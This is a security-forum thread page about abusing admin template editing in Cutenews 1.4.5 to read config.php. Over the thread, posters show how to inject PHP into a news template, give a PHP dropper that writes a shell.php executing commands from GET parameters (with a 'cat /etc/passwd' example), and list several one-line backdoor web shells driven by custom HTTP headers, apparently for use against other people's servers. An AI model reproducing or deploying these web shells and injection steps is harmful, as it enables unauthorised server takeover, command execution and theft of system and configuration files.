Waraxe IT Security Portal
Login or Register
December 26, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 101
Members: 0
Total: 101
Full disclosure
CyberDanube Security Research 20241219-0 | Authenticated Remote Code Execution in Ewon Flexy 205
Stored XSS with Filter Bypass - blogenginev3.3.8
[SYSS-2024-085]: Broadcom CA Client Automation - Improper Privilege Management (CWE-269)
[KIS-2024-07] GFI Kerio Control <= 9.4.5 Multiple HTTP Response Splitting Vulnerabilities
RansomLordNG - anti-ransomware exploit tool
APPLE-SA-12-11-2024-9 Safari 18.2
APPLE-SA-12-11-2024-8 visionOS 2.2
APPLE-SA-12-11-2024-7 tvOS 18.2
APPLE-SA-12-11-2024-6 watchOS 11.2
APPLE-SA-12-11-2024-5 macOS Ventura 13.7.2
APPLE-SA-12-11-2024-4 macOS Sonoma 14.7.2
APPLE-SA-12-11-2024-3 macOS Sequoia 15.2
APPLE-SA-12-11-2024-2 iPadOS 17.7.3
APPLE-SA-12-11-2024-1 iOS 18.2 and iPadOS 18.2
SEC Consult SA-20241211-0 :: Reflected Cross-Site Scripting in Numerix License Server Administration System Login
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other software -> Cutenews 1.4.5 Goto page 1, 2Next
Post new topicReply to topic View previous topic :: View next topic
Cutenews 1.4.5
PostPosted: Fri Feb 01, 2008 9:22 pm Reply with quote
tintin
Beginner
Beginner
Joined: Feb 01, 2008
Posts: 4
Location: UK




Is there any way to get config.php via control panel?

Thanks. Razz
View user's profile Send private message Visit poster's website
Re: Cutenews 1.4.5
PostPosted: Fri Feb 01, 2008 10:00 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




tintin wrote:
Is there any way to get config.php via control panel?

Thanks. Razz


Get admin level, edit templates and inject php code, from there you can read/write any files, execute shell commands, etc ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Fri Feb 01, 2008 10:49 pm Reply with quote
tintin
Beginner
Beginner
Joined: Feb 01, 2008
Posts: 4
Location: UK




yeah i got admin acesss level but what is the code? its my first time i trying to learn Cool
View user's profile Send private message Visit poster's website
PostPosted: Sat Feb 02, 2008 9:44 pm Reply with quote
givi
Beginner
Beginner
Joined: Feb 02, 2008
Posts: 2




hi, i'v got admin Access too, and try to edit templates. But it's do not work! For example, after inserting code like this:
Code:
<?php echo 'Hello'; ?>

it's don't work properly, but when i insert this:
Code:
<?php echo '<p>Hello</p>'; ?>

i'ts print a message, so i think templates editing don't help here, because the code do not work.. Sad Maybe i.m wrong, show me please how it's must be!
p.s sorry for my English.
View user's profile Send private message
PostPosted: Sat Feb 02, 2008 9:56 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




You need to manipulate templates in proper way.

Go to template editor, select default template and let it be a part "Active News".

Insert this 2 lines in the end:

HTML;
phpinfo();

Save and then try to edit template again ... you should see phpinfo output.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Feb 02, 2008 10:48 pm Reply with quote
givi
Beginner
Beginner
Joined: Feb 02, 2008
Posts: 2




Oh Thank you! All work's fine, thank's one more Exclamation
View user's profile Send private message
PostPosted: Sun Aug 17, 2008 4:28 pm Reply with quote
xxxmystikxxx
Regular user
Regular user
Joined: Aug 17, 2008
Posts: 8
Location: C:/Lineage2/system/l2.exe




waraxe wrote:
You need to manipulate templates in proper way.

Go to template editor, select default template and let it be a part "Active News".

Insert this 2 lines in the end:

HTML;
phpinfo();

Save and then try to edit template again ... you should see phpinfo output.

I did it and saw php info but what i must do to see config.php .What code i must insert????
View user's profile Send private message
PostPosted: Sun Aug 17, 2008 5:58 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




xxxmystikxxx wrote:
waraxe wrote:
You need to manipulate templates in proper way.

Go to template editor, select default template and let it be a part "Active News".

Insert this 2 lines in the end:

HTML;
phpinfo();

Save and then try to edit template again ... you should see phpinfo output.

I did it and saw php info but what i must do to see config.php .What code i must insert????


You need to insert shell and working via him.
View user's profile Send private message
PostPosted: Sun Aug 17, 2008 6:56 pm Reply with quote
xxxmystikxxx
Regular user
Regular user
Joined: Aug 17, 2008
Posts: 8
Location: C:/Lineage2/system/l2.exe




but how insert shell?And what shell is needed?
View user's profile Send private message
PostPosted: Mon Aug 18, 2008 4:37 pm Reply with quote
xxxmystikxxx
Regular user
Regular user
Joined: Aug 17, 2008
Posts: 8
Location: C:/Lineage2/system/l2.exe




Can anybody help with shell inserting?White manual please or give advise..
View user's profile Send private message
PostPosted: Mon Aug 18, 2008 7:45 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Basic knowledge php,unix servers ..etc?I think you don't have any of this.Every guy hoo get access to some admin panel trying to destroy every server without any basic knowledge.You guy's don't have any desire to learn how all this working.This here is not kindergarden.
View user's profile Send private message
PostPosted: Mon Aug 18, 2008 10:36 pm Reply with quote
lenny
Valuable expert
Valuable expert
Joined: May 15, 2008
Posts: 275




I agree, Koko. This is a security community, not for script kiddies.

But anyway, I won't judge you (mystik, givi or tintin... whoever you are) just for asking, so i will try and help.

Basically, you have permission to execute any PHP you desire. This means that with the help of a php shell such as the c99 shell or a custom shell.

I suggest you try this:
Quote:
<?php
$file = "<?php if ($_GET['type'] == 'passthru') {
echo passthru($_GET['cmd']); }
elseif ($_GET['type'] == 'exec') { exec($_GET['cmd']); }
elseif ($_GET['type'] == 'eval') { eval($_GET['cmd']); }
?>";

$targfile = "shell.php";
$filehandle = fopen($targfile , 'w');
fwrite($filehandle , $file);
fclose($filehandle );

?>


That should create a shell in its own file. Next, navigate to shell.php and give perameters:
shell.php?type=exec&cmd=cat /etc/passwd

Now, that is the very basics of shell usage... Im not even sure if it will work - I am *very* tired!

The shell I used in this example is the one I always tend to use on my own servers occasionally.

I can have a closer look if you would like, just PM me the URL Smile

Tell us when you try it Smile
View user's profile Send private message
PostPosted: Tue Aug 19, 2008 4:54 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




lenny if admin of this server is not stupid he will find this shell after 5 min.
View user's profile Send private message
PostPosted: Tue Aug 19, 2008 8:46 am Reply with quote
xxxmystikxxx
Regular user
Regular user
Joined: Aug 17, 2008
Posts: 8
Location: C:/Lineage2/system/l2.exe




lenny wrote:
I agree, Koko. This is a security community, not for script kiddies.

But anyway, I won't judge you (mystik, givi or tintin... whoever you are) just for asking, so i will try and help.

Basically, you have permission to execute any PHP you desire. This means that with the help of a php shell such as the c99 shell or a custom shell.

I suggest you try this:
Quote:
<?php
$file = "<?php if ($_GET['type'] == 'passthru') {
echo passthru($_GET['cmd']); }
elseif ($_GET['type'] == 'exec') { exec($_GET['cmd']); }
elseif ($_GET['type'] == 'eval') { eval($_GET['cmd']); }
?>";

$targfile = "shell.php";
$filehandle = fopen($targfile , 'w');
fwrite($filehandle , $file);
fclose($filehandle );

?>


That should create a shell in its own file. Next, navigate to shell.php and give perameters:
shell.php?type=exec&cmd=cat /etc/passwd

Now, that is the very basics of shell usage... Im not even sure if it will work - I am *very* tired!

The shell I used in this example is the one I always tend to use on my own servers occasionally.

I can have a closer look if you would like, just PM me the URL Smile

Tell us when you try it Smile

Parse error: syntax error, unexpected T_VARIABLE in C:\AppServ\www\news\data\Default.tpl on line 15
What i did wrong?
View user's profile Send private message
PostPosted: Tue Aug 19, 2008 3:47 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




<? @passthru('cmd'); ?>

Working with method POST.Try to find in google or here where is difference between POST and GET method's.

...or this shell.WORKING WITH HEADER'S.

<?php @passthru(@getenv("HTTP_YOURFUCKINGWORD"));exit;?>

in header's

YOURFUCKINGWORD:ls -la

...same shitt

<?php $VR=@getenv('HTTP_VR');
if(strstr($VR,'V|R')=='V|R'){echo `$VR`;} ?>

header's

VR:ls -la

....same lamer's shell

<? if (@getenv(HTTP_koko)) {@passthru(@getenv(HTTP_koko));} else{phpinfo();} ?>

header's

koko:ls -la
View user's profile Send private message
Cutenews 1.4.5
www.waraxe.us Forum Index -> All other software
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 2
Goto page 1, 2Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.046 Seconds